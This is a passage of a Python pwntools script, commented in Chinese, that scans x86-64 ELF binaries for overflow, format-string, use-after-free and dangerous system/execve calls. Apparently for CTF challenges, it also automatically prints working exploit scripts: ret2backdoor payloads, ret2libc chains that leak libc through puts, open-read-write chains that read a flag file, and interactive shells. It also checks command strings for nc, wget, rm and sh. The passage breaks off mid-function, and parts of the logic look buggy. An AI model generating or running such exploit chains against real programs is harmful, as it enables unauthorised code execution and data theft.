#get_printf 307 | try: 308 | global printf_addr 309 | printf_addr=elf.sym['printf'] 310 | except Exception as e: 311 | pass 312 | else: 313 | if file_os == 18: 314 | print("[+]printf found addr :"+hex(printf_addr)) 315 | need_addr.append(hex(printf_addr)) 316 | func_flag.append("printf") 317 | elif file_os ==20: 318 | print("[+]printf found addr :"+hex(printf_addr-4)) 319 | need_addr.append(hex(printf_addr-4)) 320 | func_flag.append("printf") 321 | finally: 322 | pass 323 | 324 | #get_strcpy 325 | try: 326 | global strncpy_addr 327 | strcpy_addr=elf.sym['strcpy'] 328 | except Exception as e: 329 | pass 330 | else: 331 | if file_os == 18: 332 | print("[+]strcpy found addr :"+hex(strcpy_addr)) 333 | need_addr.append(hex(strcpy_addr)) 334 | func_flag.append("strcpy") 335 | elif file_os ==20: 336 | print("[+]strcpy found addr :"+hex(strcpy_addr-4)) 337 | need_addr.append(hex(strcpy_addr-4)) 338 | func_flag.append("strcpy") 339 | finally: 340 | pass 341 | file_os=0 #系统变量 342 | os_16_flag=0 #额外定义Ubuntu16 343 | def search_call_what(elf,file_name): #库函数调用地址寻找,危险函数检测 344 | cmd = os.popen("strings ./"+file_name+" | grep GCC") 345 | found_file_os=cmd.read() #利用管道获取GCC查询结果获取系统版本 346 | print("[+]Found file_os ing..."+found_file_os) 347 | if "18.04" in found_file_os : 348 | file_os=18 349 | os_16_flag=0 350 | elif "16.04" in found_file_os: 351 | file_os=18 352 | os_16_flag=1 353 | elif "20.04" in found_file_os: 354 | file_os=20 355 | os_16_flag=0 356 | else: 357 | print("[+]MAYBE YOU BUILD YOUR BINARY IN OTHER OS,BUT WE DO NOT SUPPORT TO CHECK IT ,SORRY!") 358 | exit(0) 359 | get_all(elf,file_os)#开始查询库函数是否存在,进行初始化 360 | print("") 361 | call=((elf.search(b'\xE8')))#全局搜索call指令特征,有误报可能性但是无所谓,下面有公式校验 362 | all_addr=np.array(list(call))#list化为array 363 | all_len=len(all_addr)#计算长度 364 | for i in range(all_len):#循环查询call 调用以及危险函数检测 365 | rip=u64(elf.read(int(all_addr[i]),5)[1:].ljust(8,'\x00')) 366 | real_all=0xffffffff00000005+rip 367 | ''' 368 | 原理很简单 ,先用汇编找到现在的相对地址,然后代入函数到这时候的call 求一个相对地址 这两个地址比对 369 | 370 | 这里细说下计算公式 371 | 例子: call 0x5B0 的汇编码是E8 58 FE FF FF,E8是call指令,后面的就是相对地址0xFFFFFE58 是一个负数,证明调用函数在该call地址的上方 372 | 这个reald_all本身的计算方法是如下 373 | 此处举例strcpy=0x5B0 call 0x5B0的地址是0x753 我们利用0x5B0-0x753得到的地址是0xFFFF FFFF FFFF FE5D 可以看见汇编低三位是0xE58 374 | 这个和我们的reald_all相差0x5 这个0x5就是指令本身的长度(call 0x5B0)这个长度是需要加入到地址里面的所以才有了公式里面的0xffffffff00000005末尾是5 375 | ''' 376 | for j in range(len(need_addr)): 377 | fuzz_addr_tmp=0-(int(need_addr[j],16)-int(all_addr[i]))#need_addr里面存放库函数地址 all_addr存放所有的call调用 ,作差得到相对地址 378 | fuzz_addr=0x1000-fuzz_addr_tmp+0xfffffffffffff000 379 | #由于python十六进制不会变成大数,为了后续操作我们要主动转化,利用低3位不变特性用0x1000减去上面的相对地址,然后加上基地址0xfffffffffffff000 就可以得到每一个库函数在call xxx的时候的相对地址了 380 | #有了这个相对地址,我们就可以和前面的real_all去对比,对比上了谁就是call 谁了 381 | #比如 call read 但是函数列表里面有 read puts scanf 等等 我们只需要把函数列表的函数地址代入这个call点位计算相对地址再去和他此时真正的相对地址对比就可以获取到call 谁了 382 | 383 | #static编译 read这些函数在下面的 这样得到的fuzz_addr_tmp应该是正数,但是因为上面公式问题导致是负数,所以下面要进行翻转 384 | if fuzz_addr_tmp<0: 385 | real_all=rip+5#指令长度加上目标函数地址等于真实相对地址 386 | fuzz_addr=0-fuzz_addr_tmp#fuzz出来的相对地址 387 | 388 | if fuzz_addr==real_all: #如果比对成功就进行漏洞检测 389 | print(hex(all_addr[i])+" call "+(need_addr[j])+" ["+func_flag[j]+"]") 390 | if func_flag[j]=="read": 391 | check_flag=u64(elf.read(int(all_addr[i]-0x19),7)[6:7].ljust(8,'\x00')) 392 | off_by_null=(elf.read(int(all_addr[i]),0x80).find('\xc6\x00\x00')) 393 | print("[+]check_flag :"+hex(check_flag)) 394 | if check_flag == 0xFF: 395 | ''' 396 | read检测有很多很多种,后续会增加特征,这里直接用常见的特征lea xx 类型 这种又分为大小数组2种,小数组极限是0x80,lea rax, [rbp+buf] 指令此时长度就是4 397 | 大于这个长度的数组长度就是7了结尾汇编必然是0xFF,由此可以判断大小字符数组进行read溢出,判断 398 | ''' 399 | check_read_overflow_big(elf,all_addr[i]) 400 | else: 401 | check_read_overflow_small(elf,all_addr[i]) 402 | 403 | print("") 404 | if off_by_null !=-1: 405 | print("[+]MAYBE HAV THE OFF BY NULL BUG!") 406 | if func_flag[j]=="gets":#gets检测到直接算溢出 407 | print("[+]use gets have stackoverflow!") 408 | elif func_flag[j]=="scanf": 409 | ''' 410 | scanf检测也有N多特征,都怪GCC的“优化”操作 411 | 这里分为16和16以上的版本 mov edi, offset aS 这个是Ubuntu16的%s mov操作 412 | 从call scanf 到他的距离是5,去掉开头一字节的汇编mov edi指令,后4位就是他的%s字符串的地址Ubuntu16的mov edi采用的是绝对地址 413 | 这样免去了我们过多的计算挺好的,然后用pwntools的read模块读取该地址的字符串和他的十六进制对比如果是%s就定义为溢出 414 | 415 | Ubuntu18 20的同理,只是他的地址不是绝对地址要进行计算得到绝对地址 lea rdi, aS长度为7 416 | call scanf到这长度为0xc 前3字节为 lea rdi汇编码阉割去除,保留剩下4个相对地址 再去加上此时lea rdi, aS指令的地址就可以获取到 %s的地址 417 | 后面同样read处理比对 418 | ''' 419 | if os_16_flag==1: 420 | the_s=u64(elf.read(int(all_addr[i]-0xa),5)[1:].ljust(8,'\x00')) 421 | the_s_addr=the_s 422 | code_s=u64(elf.read(int(the_s_addr),3).ljust(8,'\x00')) 423 | if code_s==0x7325: 424 | print("[+]use scanf('%s') have stackoverflow!") 425 | print("") 426 | else: 427 | print("") 428 | else: 429 | the_s=u64(elf.read(int(all_addr[i]-0xc),7)[3:].ljust(8,'\x00'))+7 430 | the_s_addr=the_s+all_addr[i]-0xc 431 | code_s=u64(elf.read(int(the_s_addr),3).ljust(8,'\x00')) 432 | if code_s==0x7325: 433 | print("[+]use scanf('%s') have stackoverflow!") 434 | print("") 435 | else: 436 | print("") 437 | elif func_flag[j]=="printf": 438 | ''' 439 | printf直接检测mov rdi, rax这句汇编就可以定义成格式化了,还有检测bss段数据 440 | ''' 441 | the_buf=u64(elf.read(int(all_addr[i]-0x8),3).ljust(8,'\x00')) 442 | bss_buf=u64(elf.read(int(all_addr[i]-0xc),7)[3:].ljust(8,'\x00')) 443 | if the_buf ==0xc78948: 444 | print("[+]use pritnf(buf) have format bug!") 445 | format_bug_addr.append(int(all_addr[i])) 446 | print("") 447 | elif bss_buf>0x10000: 448 | print("[+]use pritnf(buf) have format bug!") 449 | format_bug_addr.append(int(all_addr[i])) 450 | print("") 451 | else: 452 | print("") 453 | elif func_flag[j]=="strcpy": 454 | ''' 455 | 这个strcpy就比较难受了,这里暂时只收集了2种特征,一种是数组复制到数组,另外一种是指针复制到数组 456 | 数组到数组这个也分2种,大数组和小数组,原理和read差不多都是看尾部汇编 457 | 指针到数组结尾必定是0x8 因为char指针长度就是0x8大小的 458 | ''' 459 | check_flag=u64(elf.read(int(all_addr[i]-0x14),7)[6:7].ljust(8,'\x00')) 460 | check_flag_2=u64(elf.read(int(all_addr[i]-0x11),4)[3:4].ljust(8,'\x00')) 461 | if check_flag == 0xFF: 462 | check_big_strcpy_overflow(elf,all_addr[i]) 463 | elif check_flag_2==0xF8: 464 | print("[+]maybe have strcpy not limit length pointer copy overflow!") 465 | print("") 466 | else: 467 | check_small_strcpy_overflow(elf,all_addr[i]) 468 | elif func_flag[j]=="strncpy": 469 | check_flag=u64(elf.read(int(all_addr[i]-0xB),1).ljust(8,'\x00')) 470 | if check_flag==0xBA: 471 | check_fixed_strncpy(elf,all_addr[i]) 472 | else: 473 | print("[+]this strncpy rdx can be controlled,please be cared!") 474 | print("") 475 | elif func_flag[j]=="free": 476 | try: 477 | free_flag=(elf.read(int(all_addr[i]),0x28).find("\x48\xC7")) 478 | if free_flag == -1: 479 | print("[+]maybe have UAF!") 480 | print("") 481 | except Exception as e: 482 | 483 | print("") 484 | else: 485 | print("") 486 | finally: 487 | pass 488 | elif func_flag[j]=="system": 489 | #检测system调用,rdi参数是否可控,是否存危险参数 490 | #并且分为开了pie和没开pie2种判断 491 | the_s=u64(elf.read(int(all_addr[i]-0xc),7)[3:].ljust(8,'\x00'))+7 492 | the_s_addr=the_s+all_addr[i]-0xc 493 | if elf.pie: 494 | if the_s_addr>0x1000: 495 | print("[+]the command value can be modify!") 496 | print("") 497 | continue 498 | else: 499 | if the_s_addr>0x500000: 500 | print("[+]the command value can be modify!") 501 | print("") 502 | continue 503 | try: 504 | code_s=(elf.read(int(the_s_addr),0x10).find("\x2F\x62\x69\x6E\x2F")) 505 | if code_s==-1: 506 | pass 507 | else: 508 | print("[+]Found /bin/xxx be used by system") 509 | push_rbp=u64(elf.read(int(all_addr[i]-0x10),1).ljust(8,'\x00')) 510 | print(hex(push_rbp)) 511 | if push_rbp == 0x55:#判断system是否存在单个函数的调用情况,常用于ctf 512 | print("[+]Found backdoor") 513 | backdoor_addr.append(int(all_addr[i]-0x10)) 514 | 515 | print("") 516 | 517 | code_s=(elf.read(int(the_s_addr),0x10).find("\x65\x78\x65\x63\x00")) 518 | if code_s==-1: 519 | pass 520 | else: 521 | print("[+]Found exec be used by system") 522 | print("") 523 | 524 | code_s=(elf.read(int(the_s_addr),0x10).find("\x6E\x63\x00")) 525 | if code_s==-1: 526 | pass 527 | else: 528 | print("[+]Found nc be used by system") 529 | print("") 530 | 531 | code_s=(elf.read(int(the_s_addr),0x10).find("\x70\x69\x6E\x67\x00")) 532 | if code_s==-1: 533 | pass 534 | else: 535 | print("[+]Found ping be used by system") 536 | print("") 537 | 538 | code_s=(elf.read(int(the_s_addr),0x10).find("\x67\x63\x63\x00")) 539 | if code_s==-1: 540 | pass 541 | else: 542 | print("[+]Found gcc be used by system") 543 | print("") 544 | 545 | code_s=(elf.read(int(the_s_addr),0x10).find("\x2D\x69\x00")) 546 | if code_s==-1: 547 | pass 548 | else: 549 | print("[+]Found -i be used by system") 550 | print("") 551 | 552 | 553 | code_s=(elf.read(int(the_s_addr),0x10).find("\x72\x6D\x00")) 554 | if code_s==-1: 555 | pass 556 | else: 557 | print("[+]Found rm be used by system") 558 | print("") 559 | 560 | code_s=(elf.read(int(the_s_addr),0x10).find("\x66\x69\x6E\x64\x00")) 561 | if code_s==-1: 562 | pass 563 | else: 564 | print("[+]Found find be used by system") 565 | print("") 566 | 567 | code_s=(elf.read(int(the_s_addr),0x10).find("\x65\x78\x65\x6F\x00")) 568 | if code_s==-1: 569 | pass 570 | else: 571 | print("[+]Found exeo be used by system") 572 | print("") 573 | 574 | code_s=(elf.read(int(the_s_addr),0x10).find("\x65\x63\x68\x6F\x00")) 575 | if code_s==-1: 576 | pass 577 | else: 578 | print("[+]Found echo be used by system") 579 | print("") 580 | 581 | code_s=(elf.read(int(the_s_addr),0x10).find("\x77\x67\x65\x74\x00")) 582 | if code_s==-1: 583 | pass 584 | else: 585 | print("[+]Found wget be used by system") 586 | print("") 587 | 588 | code_s=(elf.read(int(the_s_addr),0x10).find("\x6C\x73")) 589 | if code_s==-1: 590 | pass 591 | else: 592 | print("[+]Found ls be used by system") 593 | print("") 594 | 595 | code_s=(elf.read(int(the_s_addr),0x10).find("\x73\x68")) 596 | if code_s==-1: 597 | pass 598 | else: 599 | print("[+]Found sh or bash be used by system") 600 | print("") 601 | except Exception as e: 602 | print("") 603 | pass 604 | else: 605 | print("") 606 | finally: 607 | pass 608 | elif func_flag[j]=="syscall": 609 | #检测系统调用号,判断调用了什么函数 610 | syscall_number=u64(elf.read(int(all_addr[i]-0xA),5)[1:].ljust(8,'\x00')) 611 | try: 612 | print("[+]syscall is :"+syscall_table[syscall_number]) 613 | print("") 614 | except Exception as e: 615 | raise 616 | print("[+]syscall is type is not found") 617 | print("") 618 | else: 619 | pass 620 | finally: 621 | pass 622 | elif func_flag[j]=="execve": 623 | #检测execve调用,rdi参数是否可控,是否存危险参数 624 | #并且分为开了pie和没开pie2种判断 625 | the_s=u64(elf.read(int(all_addr[i]-7),7)[3:].ljust(8,'\x00'))+7 626 | the_s_addr=the_s+all_addr[i]-0xc 627 | if elf.pie: 628 | if the_s_addr>0x1000: 629 | print("[+]the command value can be modify!") 630 | print("") 631 | continue 632 | else: 633 | if the_s_addr>0x500000: 634 | print("[+]the command value can be modify!") 635 | print("") 636 | continue 637 | try: 638 | code_s=(elf.read(int(the_s_addr),0x10).find("\x2F\x62\x69\x6E\x2F")) 639 | if code_s==-1: 640 | pass 641 | else: 642 | print("[+]Found /bin/xxx be used by execve") 643 | push_rbp=u64(elf.read(int(all_addr[i]-0x10),1).ljust(8,'\x00')) 644 | if push_rbp == 0x55:#判断system是否存在单个函数的调用情况,常用于ctf 645 | print("[+]Found backdoor") 646 | backdoor_addr.append(int(all_addr[i]-0x10)) 647 | print("") 648 | 649 | code_s=(elf.read(int(the_s_addr),0x10).find("\x65\x78\x65\x63\x00")) 650 | if code_s==-1: 651 | pass 652 | else: 653 | print("[+]Found exec be used by execve") 654 | print("") 655 | 656 | code_s=(elf.read(int(the_s_addr),0x10).find("\x6E\x63\x00")) 657 | if code_s==-1: 658 | pass 659 | else: 660 | print("[+]Found nc be used by execve") 661 | print("") 662 | 663 | code_s=(elf.read(int(the_s_addr),0x10).find("\x70\x69\x6E\x67\x00")) 664 | if code_s==-1: 665 | pass 666 | else: 667 | print("[+]Found ping be used by execve") 668 | print("") 669 | 670 | code_s=(elf.read(int(the_s_addr),0x10).find("\x67\x63\x63\x00")) 671 | if code_s==-1: 672 | pass 673 | else: 674 | print("[+]Found gcc be used by execve") 675 | print("") 676 | 677 | code_s=(elf.read(int(the_s_addr),0x10).find("\x2D\x69\x00")) 678 | if code_s==-1: 679 | pass 680 | else: 681 | print("[+]Found -i be used by execve") 682 | print("") 683 | 684 | 685 | code_s=(elf.read(int(the_s_addr),0x10).find("\x72\x6D\x00")) 686 | if code_s==-1: 687 | pass 688 | else: 689 | print("[+]Found rm be used by execve") 690 | print("") 691 | 692 | code_s=(elf.read(int(the_s_addr),0x10).find("\x66\x69\x6E\x64\x00")) 693 | if code_s==-1: 694 | pass 695 | else: 696 | print("[+]Found find be used by execve") 697 | print("") 698 | 699 | code_s=(elf.read(int(the_s_addr),0x10).find("\x65\x78\x65\x6F\x00")) 700 | if code_s==-1: 701 | pass 702 | else: 703 | print("[+]Found exeo be used by execve") 704 | print("") 705 | 706 | code_s=(elf.read(int(the_s_addr),0x10).find("\x65\x63\x68\x6F\x00")) 707 | if code_s==-1: 708 | print("") 709 | else: 710 | print("[+]Found echo be used by execve") 711 | print("") 712 | 713 | code_s=(elf.read(int(the_s_addr),0x10).find("\x77\x67\x65\x74\x00")) 714 | if code_s==-1: 715 | pass 716 | else: 717 | print("[+]Found wget be used by execve") 718 | print("") 719 | 720 | code_s=(elf.read(int(the_s_addr),0x10).find("\x6C\x73")) 721 | if code_s==-1: 722 | pass 723 | else: 724 | print("[+]Found ls be used by execve") 725 | print("") 726 | 727 | code_s=(elf.read(int(the_s_addr),0x10).find("\x73\x68")) 728 | if code_s==-1: 729 | pass 730 | else: 731 | print("[+]Found sh or bash be used by execve") 732 | print("") 733 | except Exception as e: 734 | print("") 735 | pass 736 | else: 737 | print("") 738 | finally: 739 | pass 740 | elif func_flag[j]=="mmap": 741 | #mmap检测大小区块,权限 742 | mmap_where=u64(elf.read(int(all_addr[i]-0xA),5)[1:].ljust(8,'\x00')) 743 | mmap_size=u64(elf.read(int(all_addr[i]-0xF),5)[1:].ljust(8,'\x00')) 744 | mmap_flags=u64(elf.read(int(all_addr[i]-0x14),5)[1:].ljust(8,'\x00')) 745 | print("[+]mmap a "+hex(mmap_size)+" in "+hex(mmap_where)+" it's jurisdiction is "+hex(mmap_flags)) 746 | print("") 747 | else: 748 | print("") 749 | if len(backdoor_addr):#存在后门开启后门rop构造 750 | ret2backdoor(file_name,file_os) 751 | if len(stackoverflow_addr) and len(backdoor_addr)==0 and (prctl_addr)==0:#存在溢出但是不存在后门,开启ret2libc rop构造 752 | ret2libc(file_name,file_os) 753 | if len(stackoverflow_addr) and len(backdoor_addr)==0 and (prctl_addr): 754 | ret2libc_orw(file_name,file_os) 755 | if len(stack_migration_addr):#栈迁移构造,暂时只做了getshell的模板,后续开启ORW操作模板自动化生成 756 | stack_migration(file_name,file_os) 757 | def check_read_overflow_small_2(elf,call_addr): #和上面的小数组判断基本上同理 758 | #大数组与0x100000000作差 759 | rsi=u64(elf.read(int(call_addr-0x14),7)[3:].ljust(8,'\x00')) 760 | rsi_size=0x100000000-rsi 761 | 762 | rdx=u64(elf.read(int(call_addr-0xD),5)[1:].ljust(8,'\x00')) 763 | rdx_size=rdx 764 | 765 | print(hex(rdx_size)) 766 | print(hex(rsi)) 767 | 768 | if rdx_size>rsi_size: 769 | print("[+]"+hex(call_addr)+" buf_size : "+hex(rsi_size)) 770 | print("[+]"+hex(call_addr)+" able_input_size : "+hex(rdx_size)) 771 | print("[+]have stackoverflow!") 772 | stackoverflow_addr.append(call_addr) 773 | stackoverflow_size.append(rsi_size+8) 774 | stackoverflow_input_size.append(rdx_size) 775 | if 0x10<=rdx_size-rsi_size<=0x20: 776 | stack_migration_addr.append(call_addr-0x19) 777 | stack_migration_size.append(rsi_size) 778 | if rdx_size>0x10000: 779 | stackoverflow_addr.pop() 780 | stackoverflow_size.pop() 781 | stackoverflow_input_size.pop() 782 | if len(stack_migration_addr): 783 | stack_migration_addr.pop() 784 | stack_migration_size.pop() 785 | print("[+]waring: this is maybe an error check,we can not solve it!") 786 | 787 | else: 788 | print("") 789 | 790 | else: 791 | print("") 792 | def check_read_overflow_small(elf,call_addr): 793 | #小数组栈溢出检测长度小于0x80而且是与0x100作差形成一个相对值赋予的,利用公式简单计算就可以得到rsi大小,rdx大小直接获取,没有进行作差计算 794 | rsi=u64(elf.read(int(call_addr-0x16),4)[3:].ljust(8,'\x00')) 795 | rsi_size=0x100-rsi 796 | 797 | 798 | rdx=u64(elf.read(int(call_addr-0x12),5)[1:].ljust(8,'\x00')) 799 | rdx_size=rdx 800 | 801 | 802 | if rdx_size>rsi_size:#判断rdx是否比数组大 803 | print("[+]"+hex(call_addr)+" able_input_size : "+hex(rdx_size)) 804 | print("[+]"+hex(call_addr)+" buf_size : "+hex(rsi_size)) 805 | print("[+]have stackoverflow!") 806 | stackoverflow_addr.append(call_addr) 807 | stackoverflow_size.append(rsi_size+8) 808 | stackoverflow_input_size.append(rdx_size) 809 | if 0x10<=rdx_size-rsi_size<=0x20:#判断溢出空间是否为栈迁移类型 810 | stack_migration_addr.append(call_addr-0x16) 811 | stack_migration_size.append(rsi_size) 812 | if rdx_size>0x10000:#超大类溢出,基本上是误判,往BSS区段读写数据了,这个不好判断,以后有空了做二次判断 813 | stackoverflow_addr.pop() 814 | stackoverflow_size.pop() 815 | stackoverflow_input_size.pop() 816 | if len(stack_migration_addr): 817 | stack_migration_addr.pop() 818 | stack_migration_size.pop() 819 | print("[+]waring: this is maybe an error check,just like get value from bss.Now we use other check") 820 | check_read_overflow_small_2(elf,call_addr) 821 | else: 822 | print("") 823 | 824 | else: 825 | print("") 826 | 827 | def check_read_overflow_big_2(elf,call_addr): #和上面的小数组判断基本上同理 828 | #大数组与0x100000000作差 829 | rsi=u64(elf.read(int(call_addr-0x11),4)[3:].ljust(8,'\x00')) 830 | rsi_size=0x100-rsi 831 | 832 | rdx=u64(elf.read(int(call_addr-0xD),5)[1:].ljust(8,'\x00')) 833 | rdx_size=rdx 834 | 835 | print(hex(rdx_size)) 836 | print(hex(rsi_size)) 837 | 838 | if rdx_size>rsi_size: 839 | print("[+]"+hex(call_addr)+" buf_size : "+hex(rsi_size)) 840 | print("[+]"+hex(call_addr)+" able_input_size : "+hex(rdx_size)) 841 | print("[+]have stackoverflow!") 842 | stackoverflow_addr.append(call_addr) 843 | stackoverflow_size.append(rsi_size+8) 844 | stackoverflow_input_size.append(rdx_size) 845 | if 0x10<=rdx_size-rsi_size<=0x20: 846 | stack_migration_addr.append(call_addr-0x19) 847 | stack_migration_size.append(rsi_size) 848 | if rdx_size>0x10000: 849 | stackoverflow_addr.pop() 850 | stackoverflow_size.pop() 851 | stackoverflow_input_size.pop() 852 | if len(stack_migration_addr): 853 | stack_migration_addr.pop() 854 | stack_migration_size.pop() 855 | print("[+]waring: this is maybe an error check,we can not solve it!") 856 | 857 | else: 858 | print("") 859 | 860 | else: 861 | print("") 862 | 863 | def check_read_overflow_big(elf,call_addr): #和上面的小数组判断基本上同理 864 | #大数组与0x100000000作差 865 | rsi=u64(elf.read(int(call_addr-0x19),7)[3:].ljust(8,'\x00')) 866 | rsi_size=0x100000000-rsi 867 | 868 | 869 | rdx=u64(elf.read(int(call_addr-0x12),5)[1:].ljust(8,'\x00')) 870 | rdx_size=rdx 871 | 872 | 873 | if rdx_size>rsi_size: 874 | print("[+]"+hex(call_addr)+" buf_size : "+hex(rsi_size)) 875 | print("[+]"+hex(call_addr)+" able_input_size : "+hex(rdx_size)) 876 | print("[+]have stackoverflow!") 877 | stackoverflow_addr.append(call_addr) 878 | stackoverflow_size.append(rsi_size+8) 879 | stackoverflow_input_size.append(rdx_size) 880 | if 0x10<=rdx_size-rsi_size<=0x20: 881 | stack_migration_addr.append(call_addr-0x19) 882 | stack_migration_size.append(rsi_size) 883 | if rdx_size>0x10000: 884 | stackoverflow_addr.pop() 885 | stackoverflow_size.pop() 886 | stackoverflow_input_size.pop() 887 | if len(stack_migration_addr): 888 | stack_migration_addr.pop() 889 | stack_migration_size.pop() 890 | print("[+]waring: this is maybe an error check,now use other check!") 891 | check_read_overflow_big_2(elf,call_addr) 892 | 893 | else: 894 | print("") 895 | 896 | else: 897 | print("") 898 | 899 | def check_small_strcpy_overflow(elf,call_addr): 900 | #小数组strcpy复制,原理同read 901 | rdi=u64(elf.read(int(call_addr-10),4)[3:].ljust(8,'\x00')) 902 | rdi_size=0x100-rdi 903 | 904 | 905 | rsi=u64(elf.read(int(call_addr-14),4)[3:].ljust(8,'\x00')) 906 | rsi_size=0x100-rsi 907 | 908 | 909 | if rsi_size>rdi_size: 910 | print("[+]"+hex(call_addr)+" rdi_size : "+hex(rdi_size)) 911 | print("[+]"+hex(call_addr)+" rsi_size : "+hex(rsi_size)) 912 | print("[+]have strcpy overflow!") 913 | print("") 914 | else: 915 | print("") 916 | 917 | def check_big_strcpy_overflow(elf,call_addr): 918 | #大数组strcpy复制,原理同read 919 | rdi=u64(elf.read(int(call_addr-0xd),7)[3:].ljust(8,'\x00')) 920 | rdi_size=0x100000000-rdi 921 | 922 | 923 | rsi=u64(elf.read(int(call_addr-0x14),7)[3:].ljust(8,'\x00')) 924 | rsi_size=0x100000000-rsi 925 | 926 | 927 | if rsi_size>rdi_size: 928 | print("[+]"+hex(call_addr)+" rsi_size : "+hex(rsi_size)) 929 | print("[+]"+hex(call_addr)+" rdi_size : "+hex(rdi_size)) 930 | print("[+]have strcpy overflow!") 931 | print("") 932 | else: 933 | print("") 934 | 935 | def check_fixed_strncpy(elf,call_addr):#寻找rdx参数和rdi数组大小 936 | fixed_size=u64(elf.read(int(call_addr-0xB),5)[1:].ljust(8,'\x00')) 937 | buf=u64(elf.read(int(call_addr-0x12),7)[3:].ljust(8,'\x00')) 938 | 939 | buf_size=0x100000000-buf 940 | 941 | if fixed_size>buf_size:#rdx大于数组则为溢出,后续加入误报检测处理 942 | print("[+]"+hex(call_addr)+" fixed_size : "+hex(fixed_size)) 943 | print("[+]"+hex(call_addr)+" buf_size : "+hex(buf_size)) 944 | print("[+]have strncpy overflow!") 945 | print("") 946 | else: 947 | print("") 948 | def ret2backdoor(file_name,file_os):#分为Ubuntu18和别的Ubuntu,Ubuntu18加上ret平衡栈,当然有时候不用平衡,还有各种程交互序逻辑都由用户自己判断,本处只给出建议EXP 949 | elf=ELF(file_name) 950 | ret=next(elf.search(asm("ret"))) 951 | if elf.canary or elf.pie: 952 | pass 953 | else: 954 | for i in range(len(stackoverflow_size)): 955 | for j in range(len(backdoor_addr)): 956 | if file_os==18: 957 | payload="payload="+"'"+'a'+"'"+"*"+hex(stackoverflow_size[i])+"+p64("+hex(ret)+")"+"+p64("+hex(backdoor_addr[j])+")" 958 | print("[+]the ubuntu18 advice ret2backdoor payload is :"+payload) 959 | print("[+]the utilization point exp is:") 960 | print("from pwn import *") 961 | print("r=process("+"'"+file_name+"'"+")") 962 | print(payload) 963 | print("r.send(payload)") 964 | print("r.interactive()") 965 | print("") 966 | else: 967 | payload="payload="+"'"+'a'+"'"+"*"+hex(stackoverflow_size[i])+"+p64("+hex(backdoor_addr[j])+")" 968 | print("[+]the ubuntu16,20 advice ret2backdoor payload is :"+payload) 969 | print("[+][+]the utilization point exp is:") 970 | print("from pwn import *") 971 | print("r=process("+"'"+file_name+"'"+")") 972 | print("payload="+payload) 973 | print("r.send(payload)") 974 | print("r.interactive()") 975 | print("") 976 | 977 | def ret2libc_orw(file_name,file_os): 978 | elf=ELF(file_name) 979 | ret=next(elf.search(asm("ret"))) 980 | rdi=next(elf.search(asm("pop rdi;ret"))) 981 | pop_rsi_r15_ret=next(elf.search(asm("pop rsi;pop r15;ret"))) 982 | bss_addr=elf.get_section_by_name('.bss').header.sh_addr 983 | print('.bss===>' + str(hex(bss_addr))) 984 | libc_addr="/lib/x86_64-linux-gnu/libc.so.6" 985 | if elf.canary or elf.pie: 986 | pass 987 | else: 988 | for i in range(len(stackoverflow_size)): 989 | if (puts_addr>0): 990 | if(stackoverflow_input_size[i]-stackoverflow_size[i]>0x80): 991 | 992 | payload3="payload3="+"'"+'a'+"'"+"*"+hex(stackoverflow_size[i])+"+p64("+hex(rdi)+")"+"+p64("+hex(0)+")"+"+p64("+hex(pop_rsi_r15_ret)+")"+"+p64("+hex(bss_addr+0x200)+")"+"+p64("+hex(0)+")"+"+p64(reads)"+"+p64("+hex(main_addr)+")" 993 | 994 | payload1="payload1="+"'"+'a'+"'"+"*"+hex(stackoverflow_size[i])+"+p64("+hex(rdi)+")"+"+p64(" 995 | payload1+=hex(elf.got['puts'])+")"+"+p64("+hex(elf.plt['puts'])+")"+"+p64("+hex(main_addr)+")" 996 | 997 | payload2="payload2="+"'"+'a'+"'"+"*"+hex(stackoverflow_size[i])+"+p64("+hex(rdi)+")"+"+p64("+hex(bss_addr+0x200)+")"+"+p64("+hex(pop_rsi_r15_ret)+")"+"+p64("+hex(0664)+")"+"+p64("+hex(0)+")"+"+p64(opens)" 998 | payload2+="+p64("+hex(rdi)+")"+"+p64("+hex(3)+")"+"+p64("+hex(pop_rsi_r15_ret)+")"+"+p64("+hex(bss_addr+0x200)+")"+"+p64("+hex(0x100)+")"+"+p64(reads)" 999 | payload2+="+p64("+hex(rdi)+")"+"+p64("+hex(bss_addr+0x200)+")"+"+p64(puts)"+"+p64("+hex(main_addr)+")" 1000 | 1001 | print("[+]the utilization point exp is:") 1002 | print("from pwn import *") 1003 | print("context.log_level='debug'") 1004 | print("elf=ELF("+"'"+file_name+"'"+")") 1005 | print("libc=ELF("+"'"+libc_addr+"'"+")") 1006 | print("r=process("+"'"+file_name+"'"+")") 1007 | print(payload1) 1008 | print("r.send(payload1)") 1009 | print("leak=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00+'))") 1010 | print("base=leak-libc.sym['puts']") 1011 | print("sh=base+next(libc.search('/bin/sh'))") 1012 | print("opens=base+libc.sym['open']") 1013 | print("reads=base+libc.sym['read']") 1014 | print("puts=base+libc.sym['puts']") 1015 | print(payload3) 1016 | print("r.send(payload3)") 1017 | print("raw_input()") 1018 | print("r.send('flag')") 1019 | 1020 | print(payload2) 1021 | print("r.send(payload2)") 1022 | print("r.interactive()") 1023 | print("") 1024 | 1025 | def ret2libc(file_name,file_os):#分为Ubuntu18和别的Ubuntu,Ubuntu18加上ret平衡栈,当然有时候不用平衡,还有各种程序交互逻辑都由用户自己判断,本处只给出建议EXP 1026 | #这里给出了2种rop puts和write的 1027 | elf=ELF(file_name) 1028 | ret=next(elf.search(asm("ret"))) 1029 | rdi=next(elf.search(asm("pop rdi;ret"))) 1030 | pop_rsi_r15_ret=next(elf.search(asm("pop rsi;pop r15;ret"))) 1031 | 1032 | '''libc_tmp=elf.libs 1033 | x_train1 = [] 1034 | for k in libc_tmp.items(): 1035 | x_train1.append(k) 1036 | libc_addr = np.array(x_train1) 1037 | for i in len(libc_addr): 1038 | if "/lib/x86_64-linux-gnu/" in libc_addr[0][i]: 1039 | libc_addr=""''' 1040 | libc_addr="/lib/x86_64-linux-gnu/libc.so.6" 1041 | if elf.canary or elf.pie: 1042 | pass 1043 | else: 1044 | for i in range(len(stackoverflow_size)): 1045 | if (puts_addr>0): 1046 | if(stackoverflow_input_size[i]-stackoverflow_size[i]>0x20): 1047 | if file_os==18: 1048 | payload1="payload1="+"'"+'a'+"'"+"*"+hex(stackoverflow_size[i])+"+p64("+hex(rdi)+")"+"+p64(" 1049 | payload1+=hex(elf.got['puts'])+")"+"+p64("+hex(elf.plt['puts'])+")"+"+p64("+hex(main_addr)+")" 1050 | 1051 | payload2="payload2="+"'"+'a'+"'"+"*"+hex(stackoverflow_size[i]) 1052 | 